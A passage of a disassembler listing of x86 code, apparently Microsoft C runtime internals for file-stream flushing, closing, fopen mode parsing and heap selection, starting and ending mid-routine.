		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41A613
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41A5F5:				; CODE XREF: sub_41A5DF+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41A579
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41A613
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41A5F5

loc_41A613:				; CODE XREF: sub_41A5DF+Cj
					; sub_41A5DF+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A5DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A617	proc near		; CODE XREF: sub_419E38+E5p
					; sub_419E38+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41A617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A624	proc near		; CODE XREF: sub_419E38+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41A624	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A634	proc near		; CODE XREF: sub_419E38+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41A634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A642	proc near		; CODE XREF: sub_417794+17p
					; sub_417794+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41A660
		mov	ecx, off_433C70
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41A6B2
; ---------------------------------------------------------------------------

loc_41A660:				; CODE XREF: sub_41A642+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_433C70
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41A685
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41A68E
; ---------------------------------------------------------------------------

loc_41A685:				; CODE XREF: sub_41A642+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41A68E:				; CODE XREF: sub_41A642+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41FB63
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A6AE
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A6AE:				; CODE XREF: sub_41A642+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41A6B2:				; CODE XREF: sub_41A642+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41A642	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B7	proc near		; CODE XREF: sub_417900+2Ap
					; sub_41FEC6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4CEDE0
		jnb	loc_41A751
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A751
		push	edi
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A730
		cmp	edi, 1
		jz	short loc_41A6FE
		cmp	edi, 2
		jnz	short loc_41A714

loc_41A6FE:				; CODE XREF: sub_41A6B7+40j
		push	2
		call	sub_41FE32
		push	1
		mov	ebp, eax
		call	sub_41FE32
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A730

loc_41A714:				; CODE XREF: sub_41A6B7+45j
		push	edi
		call	sub_41FE32
		pop	ecx
		push	eax
		call	near ptr 2640811h
		nop
		test	eax, eax
		jnz	short loc_41A730
		nop
		call	near ptr 2660AEBh
		mov	ebp, eax
		jmp	short loc_41A732
; ---------------------------------------------------------------------------

loc_41A730:				; CODE XREF: sub_41A6B7+3Bj
					; sub_41A6B7+5Bj ...
		xor	ebp, ebp

loc_41A732:				; CODE XREF: sub_41A6B7+77j
		push	edi
		call	sub_41FDB8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A74D
		push	ebp
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41A762
; ---------------------------------------------------------------------------

loc_41A74D:				; CODE XREF: sub_41A6B7+8Bj
		xor	eax, eax
		jmp	short loc_41A765
; ---------------------------------------------------------------------------

loc_41A751:				; CODE XREF: sub_41A6B7+Ej
					; sub_41A6B7+2Fj
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9

loc_41A762:				; CODE XREF: sub_41A6B7+94j
		or	eax, 0FFFFFFFFh

loc_41A765:				; CODE XREF: sub_41A6B7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A6B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A76A	proc near		; CODE XREF: sub_417900+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A793
		test	al, 8
		jz	short loc_41A793
		push	dword ptr [esi+8]
		call	sub_417C3B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41A793:				; CODE XREF: sub_41A76A+Aj
					; sub_41A76A+Ej
		pop	esi
		retn
sub_41A76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A795	proc near		; CODE XREF: sub_41A835+2Dp
					; sub_41A835+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A7A7
		push	esi
		call	sub_41A835
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A7A7:				; CODE XREF: sub_41A795+7j
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jz	short loc_41A7B7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A7B7:				; CODE XREF: sub_41A795+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A7CC
		push	dword ptr [esi+10h]
		call	sub_41FE6F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41A7CC:				; CODE XREF: sub_41A795+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A795	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_417900+1Ap
					; sub_418D0E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A81D
		test	ax, 108h
		jz	short loc_41A81D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A81D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A816
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A81D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------

loc_41A816:				; CODE XREF: sub_41A7D0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41A81D:				; CODE XREF: sub_41A7D0+14j
					; sub_41A7D0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82C	proc near		; CODE XREF: sub_41FAE7p
		push	1
		call	sub_41A835
		pop	ecx
		retn
sub_41A82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A835	proc near		; CODE XREF: sub_41A795+Ap
					; sub_41A82C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4CECC0, esi
		jle	short loc_41A893

loc_41A846:				; CODE XREF: sub_41A835+5Cj
		mov	eax, dword_4CDCB0
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A88A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A88A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A870
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A88A
		inc	ebx
		jmp	short loc_41A88A
; ---------------------------------------------------------------------------

loc_41A870:				; CODE XREF: sub_41A835+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A88A
		test	cl, 2
		jz	short loc_41A88A
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A88A
		or	edi, eax

loc_41A88A:				; CODE XREF: sub_41A835+1Bj
					; sub_41A835+23j ...
		inc	esi
		cmp	esi, dword_4CECC0
		jl	short loc_41A846

loc_41A893:				; CODE XREF: sub_41A835+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A89E
		mov	eax, edi

loc_41A89E:				; CODE XREF: sub_41A835+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A835	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8A2	proc near		; CODE XREF: sub_417956+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jz	short loc_41A92B
		cmp	esi, offset dword_4363A8
		jnz	short loc_41A8C0
		xor	eax, eax
		jmp	short loc_41A8CB
; ---------------------------------------------------------------------------

loc_41A8C0:				; CODE XREF: sub_41A8A2+18j
		cmp	esi, offset dword_4363C8
		jnz	short loc_41A92B
		push	1
		pop	eax

loc_41A8CB:				; CODE XREF: sub_41A8A2+1Cj
		inc	dword_4CDB78
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A92B
		cmp	dword_4CDA0C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4CDA0Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A911
		push	ebx
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A911
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A91E
; ---------------------------------------------------------------------------

loc_41A911:				; CODE XREF: sub_41A8A2+4Dj
					; sub_41A8A2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_41A91E:				; CODE XREF: sub_41A8A2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A92B:				; CODE XREF: sub_41A8A2+10j
					; sub_41A8A2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A92F	proc near		; CODE XREF: sub_417956+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A959
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A96A
		push	esi
		call	sub_41A7D0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A959:				; CODE XREF: sub_41A92F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A96A
		push	eax
		call	sub_41A7D0
		pop	ecx

loc_41A96A:				; CODE XREF: sub_41A92F+10j
					; sub_41A92F+32j
		pop	esi
		retn
sub_41A92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A96C	proc near		; CODE XREF: sub_417988+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4CDB80
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41A9A5
		cmp	al, 72h
		jz	short loc_41A99E
		cmp	al, 77h
		jnz	loc_41AAB9
		mov	ecx, 301h
		jmp	short loc_41A9AA
; ---------------------------------------------------------------------------

loc_41A99E:				; CODE XREF: sub_41A96C+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41A9AD
; ---------------------------------------------------------------------------

loc_41A9A5:				; CODE XREF: sub_41A96C+1Dj
		mov	ecx, 109h

loc_41A9AA:				; CODE XREF: sub_41A96C+30j
		or	esi, 2

loc_41A9AD:				; CODE XREF: sub_41A96C+37j
		push	1
		pop	edx

loc_41A9B0:				; CODE XREF: sub_41A96C+8Bj
					; sub_41A96C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AA9F
		cmp	edx, ebx
		jz	loc_41AA9F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AA3E
		jz	short loc_41AA2E
		sub	eax, 2Bh
		jz	short loc_41AA18
		sub	eax, 19h
		jz	short loc_41AA0E
		sub	eax, 0Eh
		jz	short loc_41A9F9
		dec	eax
		jnz	loc_41AA90
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41A9F9:				; CODE XREF: sub_41A96C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA0E:				; CODE XREF: sub_41A96C+6Aj
		test	cl, 40h
		jnz	short loc_41AA90
		or	ecx, 40h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA18:				; CODE XREF: sub_41A96C+65j
		test	cl, 2
		jnz	short loc_41AA90
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA2E:				; CODE XREF: sub_41A96C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AA90
		or	ecx, eax
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA3E:				; CODE XREF: sub_41A96C+5Ej
		sub	eax, 62h
		jz	short loc_41AA8B
		dec	eax
		jz	short loc_41AA74
		sub	eax, 0Bh
		jz	short loc_41AA5D
		sub	eax, 6
		jnz	short loc_41AA90
		test	ch, 0C0h
		jnz	short loc_41AA90
		or	ch, 40h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA5D:				; CODE XREF: sub_41A96C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA74:				; CODE XREF: sub_41A96C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA8B:				; CODE XREF: sub_41A96C+D5j
		test	ch, 0C0h
		jz	short loc_41AA97

loc_41AA90:				; CODE XREF: sub_41A96C+72j
					; sub_41A96C+7Bj ...
		xor	edx, edx
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA97:				; CODE XREF: sub_41A96C+122j
		or	ch, 80h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA9F:				; CODE XREF: sub_41A96C+4Aj
					; sub_41A96C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FEC6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AABD

loc_41AAB9:				; CODE XREF: sub_41A96C+25j
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------

loc_41AABD:				; CODE XREF: sub_41A96C+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4CDB78
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41AAD7:				; CODE XREF: sub_41A96C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADC	proc near		; CODE XREF: sub_417988p
		mov	edx, dword_4CECC0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AB4D
		mov	ebx, dword_4CDCB0
		mov	edi, ebx

loc_41AAF8:				; CODE XREF: sub_41AADC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AB13
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AB0E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AAF8
		jmp	short loc_41AB4D
; ---------------------------------------------------------------------------

loc_41AB0E:				; CODE XREF: sub_41AADC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AB37
; ---------------------------------------------------------------------------

loc_41AB13:				; CODE XREF: sub_41AADC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417B89
		pop	ecx
		mov	ecx, dword_4CDCB0
		mov	[edi+ecx], eax
		mov	eax, dword_4CDCB0
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AB4D
		mov	esi, edi

loc_41AB37:				; CODE XREF: sub_41AADC+35j
		cmp	esi, ebp
		jz	short loc_41AB4D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41AB4D:				; CODE XREF: sub_41AADC+12j
					; sub_41AADC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB54	proc near		; CODE XREF: sub_417B9B+1Fp
					; sub_41944F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_4CDA18
		test	eax, eax
		jz	short loc_41AB6C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AB6C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41AB6C:				; CODE XREF: sub_41AB54+7j
					; sub_41AB54+12j
		xor	eax, eax
		retn
sub_41AB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB6F	proc near		; CODE XREF: ___:0041ACD2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2730B6Ah
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41AB9A
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41AB9A
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41AB9A:				; CODE XREF: sub_41AB6F+15j
					; sub_41AB6F+1Cj
		pop	esi
		retn
sub_41AB6F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_417B30
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		call	near ptr 27B1553h
		nop
		test	eax, eax
		jz	short loc_41ABDF
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41ABDF
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41ABDF
		push	1
		pop	eax
		jmp	loc_41ACE1
; ---------------------------------------------------------------------------

loc_41ABDF:				; CODE XREF: ___:0041ABC3j
					; ___:0041ABCCj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 2860000h
		test	eax, eax
		jz	loc_41ACCE
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41AC21

loc_41AC0E:				; CODE XREF: ___:0041AC1Fj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC1C
		cmp	al, 7Ah
		jg	short loc_41AC1C
		sub	al, 20h
		mov	[ecx], al

loc_41AC1C:				; CODE XREF: ___:0041AC12j
					; ___:0041AC16j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC0E

loc_41AC21:				; CODE XREF: ___:0041AC0Cj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418DA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AC43
		lea	eax, [ebp-122Ch]
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------

loc_41AC43:				; CODE XREF: ___:0041AC39j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41AC77

loc_41AC64:				; CODE XREF: ___:0041AC75j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC72
		cmp	al, 7Ah
		jg	short loc_41AC72
		sub	al, 20h
		mov	[ecx], al

loc_41AC72:				; CODE XREF: ___:0041AC68j
					; ___:0041AC6Cj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC64

loc_41AC77:				; CODE XREF: ___:0041AC62j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx

loc_41AC8C:				; CODE XREF: ___:0041AC41j
		cmp	eax, ebx
		jz	short loc_41ACCE
		push	2Ch
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41ACCE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41ACB3

loc_41ACA5:				; CODE XREF: ___:0041ACB1j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41ACAE
		mov	[ecx], bl
		jmp	short loc_41ACAF
; ---------------------------------------------------------------------------

loc_41ACAE:				; CODE XREF: ___:0041ACA8j
		inc	ecx

loc_41ACAF:				; CODE XREF: ___:0041ACACj
		cmp	[ecx], bl
		jnz	short loc_41ACA5

loc_41ACB3:				; CODE XREF: ___:0041ACA3j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41881C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41ACE1
		cmp	eax, 3
		jz	short loc_41ACE1
		cmp	eax, 1
		jz	short loc_41ACE1

loc_41ACCE:				; CODE XREF: ___:0041ABF8j
					; ___:0041AC8Ej ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41AB6F
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41ACE1:				; CODE XREF: ___:0041ABDAj
					; ___:0041ACC2j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5E89050h, 85024553h
		dd 0F024A3C0h, 3674004Ch, 0FFFE93E8h, 3F883FFh,	4CF028A3h
		dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h
		dd 0C0850000h, 35FF0F75h, 4CF024h, 60C1E890h, 0C0330244h
		dd 58016AC3h, 14068C3h,	6A0000h, 0F02435FFh, 0ADE8004Ch
		dd 90023052h, 1CA3C085h, 75004CF0h, 4C8BC301h, 25830424h
		dd 4CF014h, 18258300h, 4CF0h, 10A3016Ah, 89004CF0h, 4CF0200Dh
		dd 805C700h, 10004CF0h,	58000000h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41AD89	proc near		; CODE XREF: sub_417C3B+17p
					; sub_41944F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4CF018
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4CF01C
		lea	ecx, [eax+ecx*4]

loc_41AD99:				; CODE XREF: sub_41AD89+26j
		cmp	eax, ecx
		jnb	short loc_41ADB1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41ADB3
		add	eax, 14h
		jmp	short loc_41AD99
; ---------------------------------------------------------------------------

loc_41ADB1:				; CODE XREF: sub_41AD89+12j
		xor	eax, eax

locret_41ADB3:				; CODE XREF: sub_41AD89+21j
		retn
sub_41AD89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB4	proc near		; CODE XREF: sub_417C3B+23p
					; sub_41944F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41B0D8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AE8A
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE18
		push	3Fh
		pop	edx

loc_41AE18:				; CODE XREF: sub_41ADB4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AE6C
		cmp	edx, 20h
		jnb	short loc_41AE43
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AE64
; ---------------------------------------------------------------------------

loc_41AE43:				; CODE XREF: sub_41ADB4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41AE64:				; CODE XREF: sub_41ADB4+86j
					; sub_41ADB4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------

loc_41AE6C:				; CODE XREF: sub_41ADB4+6Aj
		mov	ecx, [ebp+var_4]

loc_41AE6F:				; CODE XREF: sub_41ADB4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41AE8A:				; CODE XREF: sub_41ADB4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE98
		push	3Fh
		pop	edx

loc_41AE98:				; CODE XREF: sub_41ADB4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AF3B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
